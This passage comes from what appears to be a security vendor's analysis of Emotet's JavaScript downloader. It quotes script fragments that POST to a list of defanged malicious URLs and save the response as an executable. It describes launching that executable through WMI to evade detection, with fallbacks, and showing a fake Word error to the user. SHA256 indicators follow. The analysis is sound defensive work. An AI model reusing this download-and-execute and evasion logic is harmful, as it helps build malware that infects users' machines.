It calls the setOption method on the object with the option SXH_OPTION_SELECT_CLIENT_SSL_CERT and the value “MSXML”. According to MSDN, the default value for option SXH_OPTION_SELECT_CLIENT_SSL_CERT is an empty string. If a server requests a client certificate then it first sends the certificate in local storage.

var bQ = bN[“open”](“POST”, url_lists[aD], ![]);

After setting the option on the ServerXMLHTTP object, it iterates through the list of URLs shown below and initialises the request by calling the Open method on the object with the HTTP POST method, iterated URL and synchronous mode.

  • hxxp://ilyalisi[.]com/wp-admin/zdq0487/
  • hxxp://limkon[.]com/wp-admin/lr41v586/
  • hxxps://indieconnectads[.]com/gcx5ln/5f8704/
  • hxxp://www.behlenjoiner[.]com/y3sb/e71h7936/
  • hxxps://ragulars[.]com/CmJb/ziv4/

The synchronous mode on the HTTP request is set by changing bAsync parameter of the Open method to false.

bN[‘send’](‘cxvdsa’);

Once the request is initialised it calls the send method with message body “cxvdsa”. If the status of the send request is successful, it creates an ActiveX stream object (ADODB.Stream) and writes the response body received from the earlier HTTP POST request to the stream object. Afterwards, it calls the SaveToFile method, specifying the filename as “%TEMP% + in + random_number + .exe” and option 2 (adSaveCreateOverWrite). This option overwrites the destination file if a file with the same name already exists.

Figure 13 – HTTP POST request for a URL to download the Emotet payload.

Validating the Payload Binary

After saving the file at location “%TEMP% + in + random_number + .exe” it creates an object using FileSystemObject and opens the payload as a text stream using OpenAsTextStream. OpenAsTextSTream is called with option iomode as 1 (ReadOnly). Afterwards, it reads the first two bytes from the stream and compares it against “MZ” to validate that downloaded payload has a valid PE magic number.

bn = aY[“GetFile”](payload)[‘Size’];

If the header suggests that it is a valid PE file, then it performs a second validation by checking its file size. It first retrieves the file size of the downloaded payload using the GetFile method and then compares it against the content length of the response header in the HTTP POST request.

Executing the Payload with a Fallback Approach

If the validation of the payload is successful, the script uses a try-catch block to execute the payload. The script tries different code execution methods should an exception be thrown for any method. First, the script calls the Create method of the Win32_Process WMI class to launch the payload as a child process of WmiPrvSe.exe (WMI Provider Host). Executing payload via WMI Provider Host helps evade detection based on parent-child process relationships. Any exception raised while launching the payload using WMI is caught. If this happens, a fallback method is used where the payload is launched using the Shell object “Run” method with the argument cmd /c “payload_path”. If any exception is raised using this method, the script fall backs to launching the payload directly using the WScript Shell object “Exec” method.

Figure 14 – Payload validation and execution with fallback methods.

Anti-Analysis – Fake Error

The script during its execution checks if it is launched from the Startup directory by calling ScriptFullName to check if the string “Startup” exists in the script’s full path. If it doesn’t exist, it tokenises the string “3|1|4|0|2” by calling the Split method with the separator character “|”. In case “2” it creates a pop-up window using WScript Shell object with the message “MS Word can’t open this document”. This measure is intended to make the user believe that the document is broken. Ostap’s JScript downloader uses a similar anti-analysis measure.

Figure 15 – JavaScript shows a fake message to the user during execution.

Process Interaction Graph

Figure 16 – Process interaction graph as viewed in Bromium Controller.

Indicators of Compromise

SHA256 (Documento_2019_69318.docm) Document-Word.Trojan.Sdrop 82bb3612b299cba0350e1dc4c299af9d50354cc1448b1dd931017f4381d0606a
SHA256 (in4684.exe) Win32.Trojan.Emotet d2f7affdd9a9c6fd06911934ae409a2922e02619233305b074224f6f08229f39
SHA256 (ADA3154D.png) Win32.Trojan.Doc 6255a9df4bd42e8e89d7000e49b77038c887888715252a895b6f835a827a1063

 

The post Reawakening of Emotet: An Analysis of its JavaScript Downloader appeared first on Bromium.

Viewing all 202 articles
Browse latest View live